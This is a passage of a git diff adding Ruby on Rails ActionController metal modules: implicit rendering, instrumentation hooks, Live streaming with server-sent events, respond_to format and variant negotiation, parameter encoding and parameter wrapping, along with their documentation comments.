+  # Handles implicit rendering for a controller action that does not
+  # explicitly respond with +render+, +respond_to+, +redirect+, or +head+.
+  #
+  # For API controllers, the implicit response is always <tt>204 No Content</tt>.
+  #
+  # For all other controllers, we use these heuristics to decide whether to
+  # render a template, raise an error for a missing template, or respond with
+  # <tt>204 No Content</tt>:
+  #
+  # First, if we DO find a template, it's rendered. Template lookup accounts
+  # for the action name, locales, format, variant, template handlers, and more
+  # (see +render+ for details).
+  #
+  # Second, if we DON'T find a template but the controller action does have
+  # templates for other formats, variants, etc., then we trust that you meant
+  # to provide a template for this response, too, and we raise
+  # <tt>ActionController::UnknownFormat</tt> with an explanation.
+  #
+  # Third, if we DON'T find a template AND the request is a page load in a web
+  # browser (technically, a non-XHR GET request for an HTML response) where
+  # you reasonably expect to have rendered a template, then we raise
+  # <tt>ActionView::UnknownFormat</tt> with an explanation.
+  #
+  # Finally, if we DON'T find a template AND the request isn't a browser page
+  # load, then we implicitly respond with <tt>204 No Content</tt>.
+  module ImplicitRender
+    # :stopdoc:
+    include BasicImplicitRender
+
+    def default_render(*args)
+      if template_exists?(action_name.to_s, _prefixes, variants: request.variant)
+        render(*args)
+      elsif any_templates?(action_name.to_s, _prefixes)
+        message = "#{self.class.name}\##{action_name} is missing a template " \
+          "for this request format and variant.\n" \
+          "\nrequest.formats: #{request.formats.map(&:to_s).inspect}" \
+          "\nrequest.variant: #{request.variant.inspect}"
+
+        raise ActionController::UnknownFormat, message
+      elsif interactive_browser_request?
+        message = "#{self.class.name}\##{action_name} is missing a template " \
+          "for this request format and variant.\n\n" \
+          "request.formats: #{request.formats.map(&:to_s).inspect}\n" \
+          "request.variant: #{request.variant.inspect}\n\n" \
+          "NOTE! For XHR/Ajax or API requests, this action would normally " \
+          "respond with 204 No Content: an empty white screen. Since you're " \
+          "loading it in a web browser, we assume that you expected to " \
+          "actually render a template, not nothing, so we're showing an " \
+          "error to be extra-clear. If you expect 204 No Content, carry on. " \
+          "That's what you'll get from an XHR or API request. Give it a shot."
+
+        raise ActionController::UnknownFormat, message
+      else
+        logger.info "No template found for #{self.class.name}\##{action_name}, rendering head :no_content" if logger
+        super
+      end
+    end
+
+    def method_for_action(action_name)
+      super || if template_exists?(action_name.to_s, _prefixes)
+                 "default_render"
+               end
+    end
+
+    private
+      def interactive_browser_request?
+        request.get? && request.format == Mime[:html] && !request.xhr?
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb
new file mode 100644
index 0000000000..476f0843b2
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/instrumentation.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+require "benchmark"
+require "abstract_controller/logger"
+
+module ActionController
+  # Adds instrumentation to several ends in ActionController::Base. It also provides
+  # some hooks related with process_action. This allows an ORM like Active Record
+  # and/or DataMapper to plug in ActionController and show related information.
+  #
+  # Check ActiveRecord::Railties::ControllerRuntime for an example.
+  module Instrumentation
+    extend ActiveSupport::Concern
+
+    include AbstractController::Logger
+
+    attr_internal :view_runtime
+
+    def process_action(*args)
+      raw_payload = {
+        controller: self.class.name,
+        action: action_name,
+        params: request.filtered_parameters,
+        headers: request.headers,
+        format: request.format.ref,
+        method: request.request_method,
+        path: request.fullpath
+      }
+
+      ActiveSupport::Notifications.instrument("start_processing.action_controller", raw_payload.dup)
+
+      ActiveSupport::Notifications.instrument("process_action.action_controller", raw_payload) do |payload|
+        begin
+          result = super
+          payload[:status] = response.status
+          result
+        ensure
+          append_info_to_payload(payload)
+        end
+      end
+    end
+
+    def render(*args)
+      render_output = nil
+      self.view_runtime = cleanup_view_runtime do
+        Benchmark.ms { render_output = super }
+      end
+      render_output
+    end
+
+    def send_file(path, options = {})
+      ActiveSupport::Notifications.instrument("send_file.action_controller",
+        options.merge(path: path)) do
+        super
+      end
+    end
+
+    def send_data(data, options = {})
+      ActiveSupport::Notifications.instrument("send_data.action_controller", options) do
+        super
+      end
+    end
+
+    def redirect_to(*args)
+      ActiveSupport::Notifications.instrument("redirect_to.action_controller") do |payload|
+        result = super
+        payload[:status]   = response.status
+        payload[:location] = response.filtered_location
+        result
+      end
+    end
+
+  private
+
+    # A hook invoked every time a before callback is halted.
+    def halted_callback_hook(filter)
+      ActiveSupport::Notifications.instrument("halted_callback.action_controller", filter: filter)
+    end
+
+    # A hook which allows you to clean up any time, wrongly taken into account in
+    # views, like database querying time.
+    #
+    #   def cleanup_view_runtime
+    #     super - time_taken_in_something_expensive
+    #   end
+    #
+    # :api: plugin
+    def cleanup_view_runtime
+      yield
+    end
+
+    # Every time after an action is processed, this method is invoked
+    # with the payload, so you can add more information.
+    # :api: plugin
+    def append_info_to_payload(payload)
+      payload[:view_runtime] = view_runtime
+    end
+
+    module ClassMethods
+      # A hook which allows other frameworks to log what happened during
+      # controller process action. This method should return an array
+      # with the messages to be added.
+      # :api: plugin
+      def log_process_action(payload) #:nodoc:
+        messages, view_runtime = [], payload[:view_runtime]
+        messages << ("Views: %.1fms" % view_runtime.to_f) if view_runtime
+        messages
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/live.rb b/actionpack/lib/action_controller/metal/live.rb
new file mode 100644
index 0000000000..2f4c8fb83c
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/live.rb
@@ -0,0 +1,312 @@
+# frozen_string_literal: true
+
+require "action_dispatch/http/response"
+require "delegate"
+require "active_support/json"
+
+module ActionController
+  # Mix this module into your controller, and all actions in that controller
+  # will be able to stream data to the client as it's written.
+  #
+  #   class MyController < ActionController::Base
+  #     include ActionController::Live
+  #
+  #     def stream
+  #       response.headers['Content-Type'] = 'text/event-stream'
+  #       100.times {
+  #         response.stream.write "hello world\n"
+  #         sleep 1
+  #       }
+  #     ensure
+  #       response.stream.close
+  #     end
+  #   end
+  #
+  # There are a few caveats with this module. You *cannot* write headers after the
+  # response has been committed (Response#committed? will return truthy).
+  # Calling +write+ or +close+ on the response stream will cause the response
+  # object to be committed. Make sure all headers are set before calling write
+  # or close on your stream.
+  #
+  # You *must* call close on your stream when you're finished, otherwise the
+  # socket may be left open forever.
+  #
+  # The final caveat is that your actions are executed in a separate thread than
+  # the main thread. Make sure your actions are thread safe, and this shouldn't
+  # be a problem (don't share state across threads, etc).
+  module Live
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      def make_response!(request)
+        if request.get_header("HTTP_VERSION") == "HTTP/1.0"
+          super
+        else
+          Live::Response.new.tap do |res|
+            res.request = request
+          end
+        end
+      end
+    end
+
+    # This class provides the ability to write an SSE (Server Sent Event)
+    # to an IO stream. The class is initialized with a stream and can be used
+    # to either write a JSON string or an object which can be converted to JSON.
+    #
+    # Writing an object will convert it into standard SSE format with whatever
+    # options you have configured. You may choose to set the following options:
+    #
+    #   1) Event. If specified, an event with this name will be dispatched on
+    #   the browser.
+    #   2) Retry. The reconnection time in milliseconds used when attempting
+    #   to send the event.
+    #   3) Id. If the connection dies while sending an SSE to the browser, then
+    #   the server will receive a +Last-Event-ID+ header with value equal to +id+.
+    #
+    # After setting an option in the constructor of the SSE object, all future
+    # SSEs sent across the stream will use those options unless overridden.
+    #
+    # Example Usage:
+    #
+    #   class MyController < ActionController::Base
+    #     include ActionController::Live
+    #
+    #     def index
+    #       response.headers['Content-Type'] = 'text/event-stream'
+    #       sse = SSE.new(response.stream, retry: 300, event: "event-name")
+    #       sse.write({ name: 'John'})
+    #       sse.write({ name: 'John'}, id: 10)
+    #       sse.write({ name: 'John'}, id: 10, event: "other-event")
+    #       sse.write({ name: 'John'}, id: 10, event: "other-event", retry: 500)
+    #     ensure
+    #       sse.close
+    #     end
+    #   end
+    #
+    # Note: SSEs are not currently supported by IE. However, they are supported
+    # by Chrome, Firefox, Opera, and Safari.
+    class SSE
+      WHITELISTED_OPTIONS = %w( retry event id )
+
+      def initialize(stream, options = {})
+        @stream = stream
+        @options = options
+      end
+
+      def close
+        @stream.close
+      end
+
+      def write(object, options = {})
+        case object
+        when String
+          perform_write(object, options)
+        else
+          perform_write(ActiveSupport::JSON.encode(object), options)
+        end
+      end
+
+      private
+
+        def perform_write(json, options)
+          current_options = @options.merge(options).stringify_keys
+
+          WHITELISTED_OPTIONS.each do |option_name|
+            if (option_value = current_options[option_name])
+              @stream.write "#{option_name}: #{option_value}\n"
+            end
+          end
+
+          message = json.gsub("\n".freeze, "\ndata: ".freeze)
+          @stream.write "data: #{message}\n\n"
+        end
+    end
+
+    class ClientDisconnected < RuntimeError
+    end
+
+    class Buffer < ActionDispatch::Response::Buffer #:nodoc:
+      include MonitorMixin
+
+      # Ignore that the client has disconnected.
+      #
+      # If this value is `true`, calling `write` after the client
+      # disconnects will result in the written content being silently
+      # discarded. If this value is `false` (the default), a
+      # ClientDisconnected exception will be raised.
+      attr_accessor :ignore_disconnect
+
+      def initialize(response)
+        @error_callback = lambda { true }
+        @cv = new_cond
+        @aborted = false
+        @ignore_disconnect = false
+        super(response, SizedQueue.new(10))
+      end
+
+      def write(string)
+        unless @response.committed?
+          @response.set_header "Cache-Control", "no-cache"
+          @response.delete_header "Content-Length"
+        end
+
+        super
+
+        unless connected?
+          @buf.clear
+
+          unless @ignore_disconnect
+            # Raise ClientDisconnected, which is a RuntimeError (not an
+            # IOError), because that's more appropriate for something beyond
+            # the developer's control.
+            raise ClientDisconnected, "client disconnected"
+          end
+        end
+      end
+
+      # Write a 'close' event to the buffer; the producer/writing thread
+      # uses this to notify us that it's finished supplying content.
+      #
+      # See also #abort.
+      def close
+        synchronize do
+          super
+          @buf.push nil
+          @cv.broadcast
+        end
+      end
+
+      # Inform the producer/writing thread that the client has
+      # disconnected; the reading thread is no longer interested in
+      # anything that's being written.
+      #
+      # See also #close.
+      def abort
+        synchronize do
+          @aborted = true
+          @buf.clear
+        end
+      end
+
+      # Is the client still connected and waiting for content?
+      #
+      # The result of calling `write` when this is `false` is determined
+      # by `ignore_disconnect`.
+      def connected?
+        !@aborted
+      end
+
+      def on_error(&block)
+        @error_callback = block
+      end
+
+      def call_on_error
+        @error_callback.call
+      end
+
+      private
+
+        def each_chunk(&block)
+          loop do
+            str = nil
+            ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+              str = @buf.pop
+            end
+            break unless str
+            yield str
+          end
+        end
+    end
+
+    class Response < ActionDispatch::Response #:nodoc: all
+      private
+
+        def before_committed
+          super
+          jar = request.cookie_jar
+          # The response can be committed multiple times
+          jar.write self unless committed?
+        end
+
+        def build_buffer(response, body)
+          buf = Live::Buffer.new response
+          body.each { |part| buf.write part }
+          buf
+        end
+    end
+
+    def process(name)
+      t1 = Thread.current
+      locals = t1.keys.map { |key| [key, t1[key]] }
+
+      error = nil
+      # This processes the action in a child thread. It lets us return the
+      # response code and headers back up the Rack stack, and still process
+      # the body in parallel with sending data to the client.
+      new_controller_thread {
+        ActiveSupport::Dependencies.interlock.running do
+          t2 = Thread.current
+
+          # Since we're processing the view in a different thread, copy the
+          # thread locals from the main thread to the child thread. :'(
+          locals.each { |k, v| t2[k] = v }
+
+          begin
+            super(name)
+          rescue => e
+            if @_response.committed?
+              begin
+                @_response.stream.write(ActionView::Base.streaming_completion_on_exception) if request.format == :html
+                @_response.stream.call_on_error
+              rescue => exception
+                log_error(exception)
+              ensure
+                log_error(e)
+                @_response.stream.close
+              end
+            else
+              error = e
+            end
+          ensure
+            @_response.commit!
+          end
+        end
+      }
+
+      ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+        @_response.await_commit
+      end
+
+      raise error if error
+    end
+
+    # Spawn a new thread to serve up the controller in. This is to get
+    # around the fact that Rack isn't based around IOs and we need to use
+    # a thread to stream data from the response bodies. Nobody should call
+    # this method except in Rails internals. Seriously!
+    def new_controller_thread # :nodoc:
+      Thread.new {
+        t2 = Thread.current
+        t2.abort_on_exception = true
+        yield
+      }
+    end
+
+    def log_error(exception)
+      logger = ActionController::Base.logger
+      return unless logger
+
+      logger.fatal do
+        message = "\n#{exception.class} (#{exception.message}):\n".dup
+        message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
+        message << "  " << exception.backtrace.join("\n  ")
+        "#{message}\n\n"
+      end
+    end
+
+    def response_body=(body)
+      super
+      response.close if response
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb
new file mode 100644
index 0000000000..2233b93406
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/mime_responds.rb
@@ -0,0 +1,313 @@
+# frozen_string_literal: true
+
+require "abstract_controller/collector"
+
+module ActionController #:nodoc:
+  module MimeResponds
+    # Without web-service support, an action which collects the data for displaying a list of people
+    # might look something like this:
+    #
+    #   def index
+    #     @people = Person.all
+    #   end
+    #
+    # That action implicitly responds to all formats, but formats can also be whitelisted:
+    #
+    #   def index
+    #     @people = Person.all
+    #     respond_to :html, :js
+    #   end
+    #
+    # Here's the same action, with web-service support baked in:
+    #
+    #   def index
+    #     @people = Person.all
+    #
+    #     respond_to do |format|
+    #       format.html
+    #       format.js
+    #       format.xml { render xml: @people }
+    #     end
+    #   end
+    #
+    # What that says is, "if the client wants HTML or JS in response to this action, just respond as we
+    # would have before, but if the client wants XML, return them the list of people in XML format."
+    # (Rails determines the desired response format from the HTTP Accept header submitted by the client.)
+    #
+    # Supposing you have an action that adds a new person, optionally creating their company
+    # (by name) if it does not already exist, without web-services, it might look like this:
+    #
+    #   def create
+    #     @company = Company.find_or_create_by(name: params[:company][:name])
+    #     @person  = @company.people.create(params[:person])
+    #
+    #     redirect_to(person_list_url)
+    #   end
+    #
+    # Here's the same action, with web-service support baked in:
+    #
+    #   def create
+    #     company  = params[:person].delete(:company)
+    #     @company = Company.find_or_create_by(name: company[:name])
+    #     @person  = @company.people.create(params[:person])
+    #
+    #     respond_to do |format|
+    #       format.html { redirect_to(person_list_url) }
+    #       format.js
+    #       format.xml  { render xml: @person.to_xml(include: @company) }
+    #     end
+    #   end
+    #
+    # If the client wants HTML, we just redirect them back to the person list. If they want JavaScript,
+    # then it is an Ajax request and we render the JavaScript template associated with this action.
+    # Lastly, if the client wants XML, we render the created person as XML, but with a twist: we also
+    # include the person's company in the rendered XML, so you get something like this:
+    #
+    #   <person>
+    #     <id>...</id>
+    #     ...
+    #     <company>
+    #       <id>...</id>
+    #       <name>...</name>
+    #       ...
+    #     </company>
+    #   </person>
+    #
+    # Note, however, the extra bit at the top of that action:
+    #
+    #   company  = params[:person].delete(:company)
+    #   @company = Company.find_or_create_by(name: company[:name])
+    #
+    # This is because the incoming XML document (if a web-service request is in process) can only contain a
+    # single root-node. So, we have to rearrange things so that the request looks like this (url-encoded):
+    #
+    #   person[name]=...&person[company][name]=...&...
+    #
+    # And, like this (xml-encoded):
+    #
+    #   <person>
+    #     <name>...</name>
+    #     <company>
+    #       <name>...</name>
+    #     </company>
+    #   </person>
+    #
+    # In other words, we make the request so that it operates on a single entity's person. Then, in the action,
+    # we extract the company data from the request, find or create the company, and then create the new person
+    # with the remaining data.
+    #
+    # Note that you can define your own XML parameter parser which would allow you to describe multiple entities
+    # in a single request (i.e., by wrapping them all in a single root node), but if you just go with the flow
+    # and accept Rails' defaults, life will be much easier.
+    #
+    # If you need to use a MIME type which isn't supported by default, you can register your own handlers in
+    # +config/initializers/mime_types.rb+ as follows.
+    #
+    #   Mime::Type.register "image/jpg", :jpg
+    #
+    # Respond to also allows you to specify a common block for different formats by using +any+:
+    #
+    #   def index
+    #     @people = Person.all
+    #
+    #     respond_to do |format|
+    #       format.html
+    #       format.any(:xml, :json) { render request.format.to_sym => @people }
+    #     end
+    #   end
+    #
+    # In the example above, if the format is xml, it will render:
+    #
+    #   render xml: @people
+    #
+    # Or if the format is json:
+    #
+    #   render json: @people
+    #
+    # Formats can have different variants.
+    #
+    # The request variant is a specialization of the request format, like <tt>:tablet</tt>,
+    # <tt>:phone</tt>, or <tt>:desktop</tt>.
+    #
+    # We often want to render different html/json/xml templates for phones,
+    # tablets, and desktop browsers. Variants make it easy.
+    #
+    # You can set the variant in a +before_action+:
+    #
+    #   request.variant = :tablet if request.user_agent =~ /iPad/
+    #
+    # Respond to variants in the action just like you respond to formats:
+    #
+    #   respond_to do |format|
+    #     format.html do |variant|
+    #       variant.tablet # renders app/views/projects/show.html+tablet.erb
+    #       variant.phone { extra_setup; render ... }
+    #       variant.none  { special_setup } # executed only if there is no variant set
+    #     end
+    #   end
+    #
+    # Provide separate templates for each format and variant:
+    #
+    #   app/views/projects/show.html.erb
+    #   app/views/projects/show.html+tablet.erb
+    #   app/views/projects/show.html+phone.erb
+    #
+    # When you're not sharing any code within the format, you can simplify defining variants
+    # using the inline syntax:
+    #
+    #   respond_to do |format|
+    #     format.js         { render "trash" }
+    #     format.html.phone { redirect_to progress_path }
+    #     format.html.none  { render "trash" }
+    #   end
+    #
+    # Variants also support common +any+/+all+ block that formats have.
+    #
+    # It works for both inline:
+    #
+    #   respond_to do |format|
+    #     format.html.any   { render html: "any"   }
+    #     format.html.phone { render html: "phone" }
+    #   end
+    #
+    # and block syntax:
+    #
+    #   respond_to do |format|
+    #     format.html do |variant|
+    #       variant.any(:tablet, :phablet){ render html: "any" }
+    #       variant.phone { render html: "phone" }
+    #     end
+    #   end
+    #
+    # You can also set an array of variants:
+    #
+    #   request.variant = [:tablet, :phone]
+    #
+    # This will work similarly to formats and MIME types negotiation. If there
+    # is no +:tablet+ variant declared, the +:phone+ variant will be used:
+    #
+    #   respond_to do |format|
+    #     format.html.none
+    #     format.html.phone # this gets rendered
+    #   end
+    def respond_to(*mimes)
+      raise ArgumentError, "respond_to takes either types or a block, never both" if mimes.any? && block_given?
+
+      collector = Collector.new(mimes, request.variant)
+      yield collector if block_given?
+
+      if format = collector.negotiate_format(request)
+        _process_format(format)
+        _set_rendered_content_type format
+        response = collector.response
+        response.call if response
+      else
+        raise ActionController::UnknownFormat
+      end
+    end
+
+    # A container for responses available from the current controller for
+    # requests for different mime-types sent to a particular action.
+    #
+    # The public controller methods +respond_to+ may be called with a block
+    # that is used to define responses to different mime-types, e.g.
+    # for +respond_to+ :
+    #
+    #   respond_to do |format|
+    #     format.html
+    #     format.xml { render xml: @people }
+    #   end
+    #
+    # In this usage, the argument passed to the block (+format+ above) is an
+    # instance of the ActionController::MimeResponds::Collector class. This
+    # object serves as a container in which available responses can be stored by
+    # calling any of the dynamically generated, mime-type-specific methods such
+    # as +html+, +xml+ etc on the Collector. Each response is represented by a
+    # corresponding block if present.
+    #
+    # A subsequent call to #negotiate_format(request) will enable the Collector
+    # to determine which specific mime-type it should respond with for the current
+    # request, with this response then being accessible by calling #response.
+    class Collector
+      include AbstractController::Collector
+      attr_accessor :format
+
+      def initialize(mimes, variant = nil)
+        @responses = {}
+        @variant = variant
+
+        mimes.each { |mime| @responses[Mime[mime]] = nil }
+      end
+
+      def any(*args, &block)
+        if args.any?
+          args.each { |type| send(type, &block) }
+        else
+          custom(Mime::ALL, &block)
+        end
+      end
+      alias :all :any
+
+      def custom(mime_type, &block)
+        mime_type = Mime::Type.lookup(mime_type.to_s) unless mime_type.is_a?(Mime::Type)
+        @responses[mime_type] ||= if block_given?
+          block
+        else
+          VariantCollector.new(@variant)
+        end
+      end
+
+      def response
+        response = @responses.fetch(format, @responses[Mime::ALL])
+        if response.is_a?(VariantCollector) # `format.html.phone` - variant inline syntax
+          response.variant
+        elsif response.nil? || response.arity == 0 # `format.html` - just a format, call its block
+          response
+        else # `format.html{ |variant| variant.phone }` - variant block syntax
+          variant_collector = VariantCollector.new(@variant)
+          response.call(variant_collector) # call format block with variants collector
+          variant_collector.variant
+        end
+      end
+
+      def negotiate_format(request)
+        @format = request.negotiate_mime(@responses.keys)
+      end
+
+      class VariantCollector #:nodoc:
+        def initialize(variant = nil)
+          @variant = variant
+          @variants = {}
+        end
+
+        def any(*args, &block)
+          if block_given?
+            if args.any? && args.none? { |a| a == @variant }
+              args.each { |v| @variants[v] = block }
+            else
+              @variants[:any] = block
+            end
+          end
+        end
+        alias :all :any
+
+        def method_missing(name, *args, &block)
+          @variants[name] = block if block_given?
+        end
+
+        def variant
+          if @variant.empty?
+            @variants[:none] || @variants[:any]
+          else
+            @variants[variant_key]
+          end
+        end
+
+        private
+          def variant_key
+            @variant.find { |variant| @variants.key?(variant) } || :any
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/parameter_encoding.rb b/actionpack/lib/action_controller/metal/parameter_encoding.rb
new file mode 100644
index 0000000000..7a45732d31
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/parameter_encoding.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+module ActionController
+  # Specify binary encoding for parameters for a given action.
+  module ParameterEncoding
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      def inherited(klass) # :nodoc:
+        super
+        klass.setup_param_encode
+      end
+
+      def setup_param_encode # :nodoc:
+        @_parameter_encodings = {}
+      end
+
+      def binary_params_for?(action) # :nodoc:
+        @_parameter_encodings[action.to_s]
+      end
+
+      # Specify that a given action's parameters should all be encoded as
+      # ASCII-8BIT (it "skips" the encoding default of UTF-8).
+      #
+      # For example, a controller would use it like this:
+      #
+      #   class RepositoryController < ActionController::Base
+      #     skip_parameter_encoding :show
+      #
+      #     def show
+      #       @repo = Repository.find_by_filesystem_path params[:file_path]
+      #
+      #       # `repo_name` is guaranteed to be UTF-8, but was ASCII-8BIT, so
+      #       # tag it as such
+      #       @repo_name = params[:repo_name].force_encoding 'UTF-8'
+      #     end
+      #
+      #     def index
+      #       @repositories = Repository.all
+      #     end
+      #   end
+      #
+      # The show action in the above controller would have all parameter values
+      # encoded as ASCII-8BIT. This is useful in the case where an application
+      # must handle data but encoding of the data is unknown, like file system data.
+      def skip_parameter_encoding(action)
+        @_parameter_encodings[action.to_s] = true
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb
new file mode 100644
index 0000000000..f4f2381286
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/params_wrapper.rb
@@ -0,0 +1,285 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/slice"
+require "active_support/core_ext/hash/except"
+require "active_support/core_ext/module/anonymous"
+require "action_dispatch/http/mime_type"
+
+module ActionController
+  # Wraps the parameters hash into a nested hash. This will allow clients to
+  # submit requests without having to specify any root elements.
+  #
+  # This functionality is enabled in +config/initializers/wrap_parameters.rb+
+  # and can be customized.
+  #
+  # You could also turn it on per controller by setting the format array to
+  # a non-empty array:
+  #
+  #     class UsersController < ApplicationController
+  #       wrap_parameters format: [:json, :xml, :url_encoded_form, :multipart_form]
+  #     end
+  #
+  # If you enable +ParamsWrapper+ for +:json+ format, instead of having to
+  # send JSON parameters like this:
+  #
+  #     {"user": {"name": "Konata"}}
+  #
+  # You can send parameters like this:
+  #
+  #     {"name": "Konata"}
+  #
+  # And it will be wrapped into a nested hash with the key name matching the
+  # controller's name. For example, if you're posting to +UsersController+,
+  # your new +params+ hash will look like this:
+  #
+  #     {"name" => "Konata", "user" => {"name" => "Konata"}}
+  #
+  # You can also specify the key in which the parameters should be wrapped to,
+  # and also the list of attributes it should wrap by using either +:include+ or
+  # +:exclude+ options like this:
+  #
+  #     class UsersController < ApplicationController
+  #       wrap_parameters :person, include: [:username, :password]
+  #     end
+  #
+  # On Active Record models with no +:include+ or +:exclude+ option set,
+  # it will only wrap the parameters returned by the class method
+  # <tt>attribute_names</tt>.
+  #
+  # If you're going to pass the parameters to an +ActiveModel+ object (such as
+  # <tt>User.new(params[:user])</tt>), you might consider passing the model class to
+  # the method instead. The +ParamsWrapper+ will actually try to determine the
+  # list of attribute names from the model and only wrap those attributes:
+  #
+  #     class UsersController < ApplicationController
+  #       wrap_parameters Person
+  #     end
+  #
+  # You still could pass +:include+ and +:exclude+ to set the list of attributes
+  # you want to wrap.
+  #
+  # By default, if you don't specify the key in which the parameters would be
+  # wrapped to, +ParamsWrapper+ will actually try to determine if there's
+  # a model related to it or not. This controller, for example:
+  #
+  #     class Admin::UsersController < ApplicationController
+  #     end
+  #
+  # will try to check if <tt>Admin::User</tt> or +User+ model exists, and use it to
+  # determine the wrapper key respectively. If both models don't exist,
+  # it will then fallback to use +user+ as the key.
+  module ParamsWrapper
+    extend ActiveSupport::Concern
+
+    EXCLUDE_PARAMETERS = %w(authenticity_token _method utf8)
+
+    require "mutex_m"
+
+    class Options < Struct.new(:name, :format, :include, :exclude, :klass, :model) # :nodoc:
+      include Mutex_m
+
+      def self.from_hash(hash)
+        name    = hash[:name]
+        format  = Array(hash[:format])
+        include = hash[:include] && Array(hash[:include]).collect(&:to_s)
+        exclude = hash[:exclude] && Array(hash[:exclude]).collect(&:to_s)
+        new name, format, include, exclude, nil, nil
+      end
+
+      def initialize(name, format, include, exclude, klass, model) # :nodoc:
+        super
+        @include_set = include
+        @name_set    = name
+      end
+
+      def model
+        super || synchronize { super || self.model = _default_wrap_model }
+      end
+
+      def include
+        return super if @include_set
+
+        m = model
+        synchronize do
+          return super if @include_set
+
+          @include_set = true
+
+          unless super || exclude
+            if m.respond_to?(:attribute_names) && m.attribute_names.any?
+              if m.respond_to?(:stored_attributes) && !m.stored_attributes.empty?
+                self.include = m.attribute_names + m.stored_attributes.values.flatten.map(&:to_s)
+              else
+                self.include = m.attribute_names
+              end
+            end
+          end
+        end
+      end
+
+      def name
+        return super if @name_set
+
+        m = model
+        synchronize do
+          return super if @name_set
+
+          @name_set = true
+
+          unless super || klass.anonymous?
+            self.name = m ? m.to_s.demodulize.underscore :
+              klass.controller_name.singularize
+          end
+        end
+      end
+
+      private
+        # Determine the wrapper model from the controller's name. By convention,
+        # this could be done by trying to find the defined model that has the
+        # same singular name as the controller. For example, +UsersController+
+        # will try to find if the +User+ model exists.
+        #
+        # This method also does namespace lookup. Foo::Bar::UsersController will
+        # try to find Foo::Bar::User, Foo::User and finally User.
+        def _default_wrap_model
+          return nil if klass.anonymous?
+          model_name = klass.name.sub(/Controller$/, "").classify
+
+          begin
+            if model_klass = model_name.safe_constantize
+              model_klass
+            else
+              namespaces = model_name.split("::")
+              namespaces.delete_at(-2)
+              break if namespaces.last == model_name
+              model_name = namespaces.join("::")
+            end
+          end until model_klass
+
+          model_klass
+        end
+    end
+
+    included do
+      class_attribute :_wrapper_options, default: Options.from_hash(format: [])
+    end
+
+    module ClassMethods
+      def _set_wrapper_options(options)
+        self._wrapper_options = Options.from_hash(options)
+      end
+
+      # Sets the name of the wrapper key, or the model which +ParamsWrapper+
+      # would use to determine the attribute names from.
+      #
+      # ==== Examples
+      #   wrap_parameters format: :xml
+      #     # enables the parameter wrapper for XML format
+      #
+      #   wrap_parameters :person
+      #     # wraps parameters into +params[:person]+ hash
+      #
+      #   wrap_parameters Person
+      #     # wraps parameters by determining the wrapper key from Person class
+      #     (+person+, in this case) and the list of attribute names
+      #
+      #   wrap_parameters include: [:username, :title]
+      #     # wraps only +:username+ and +:title+ attributes from parameters.
+      #
+      #   wrap_parameters false
+      #     # disables parameters wrapping for this controller altogether.
+      #
+      # ==== Options
+      # * <tt>:format</tt> - The list of formats in which the parameters wrapper
+      #   will be enabled.
+      # * <tt>:include</tt> - The list of attribute names which parameters wrapper
+      #   will wrap into a nested hash.
+      # * <tt>:exclude</tt> - The list of attribute names which parameters wrapper
+      #   will exclude from a nested hash.
+      def wrap_parameters(name_or_model_or_options, options = {})
+        model = nil
+
+        case name_or_model_or_options
+        when Hash
+          options = name_or_model_or_options
+        when false
+          options = options.merge(format: [])
+        when Symbol, String
+          options = options.merge(name: name_or_model_or_options)
+        else
+          model = name_or_model_or_options
+        end
+
+        opts = Options.from_hash _wrapper_options.to_h.slice(:format).merge(options)
+        opts.model = model
+        opts.klass = self
+
+        self._wrapper_options = opts
+      end
+
+      # Sets the default wrapper key or model which will be used to determine
+      # wrapper key and attribute names. Called automatically when the
+      # module is inherited.
+      def inherited(klass)
+        if klass._wrapper_options.format.any?
+          params = klass._wrapper_options.dup
+          params.klass = klass
+          klass._wrapper_options = params
+        end
+        super
+      end
+    end
+
+    # Performs parameters wrapping upon the request. Called automatically
+    # by the metal call stack.
+    def process_action(*args)
+      if _wrapper_enabled?
+        wrapped_hash = _wrap_parameters request.request_parameters
+        wrapped_keys = request.request_parameters.keys
+        wrapped_filtered_hash = _wrap_parameters request.filtered_parameters.slice(*wrapped_keys)
+
+        # This will make the wrapped hash accessible from controller and view.
+        request.parameters.merge! wrapped_hash
+        request.request_parameters.merge! wrapped_hash
+
+        # This will display the wrapped hash in the log file.
+        request.filtered_parameters.merge! wrapped_filtered_hash
+      end
+      super
+    end
+
+    private
+
+      # Returns the wrapper key which will be used to store wrapped parameters.
+      def _wrapper_key
+        _wrapper_options.name
+      end
+
+      # Returns the list of enabled formats.
+      def _wrapper_formats
+        _wrapper_options.format
+      end
+
+      # Returns the list of parameters which will be selected for wrapped.
+      def _wrap_parameters(parameters)
+        { _wrapper_key => _extract_parameters(parameters) }
+      end
+
+      def _extract_parameters(parameters)
+        if include_only = _wrapper_options.include
+          parameters.slice(*include_only)
+        else
+          exclude = _wrapper_options.exclude || []
+          parameters.except(*(exclude + EXCLUDE_PARAMETERS))
+        end
+      end
+
+      # Checks if we should perform parameters wrapping.
+      def _wrapper_enabled?
+        return false unless request.has_content_type?
+
+        ref = request.content_mime_type.ref
+        _wrapper_formats.include?(ref) && _wrapper_key && !request.parameters.key?(_wrapper_key)
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb
new file mode 100644
index 0000000000..2db2c78622
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/redirecting.rb
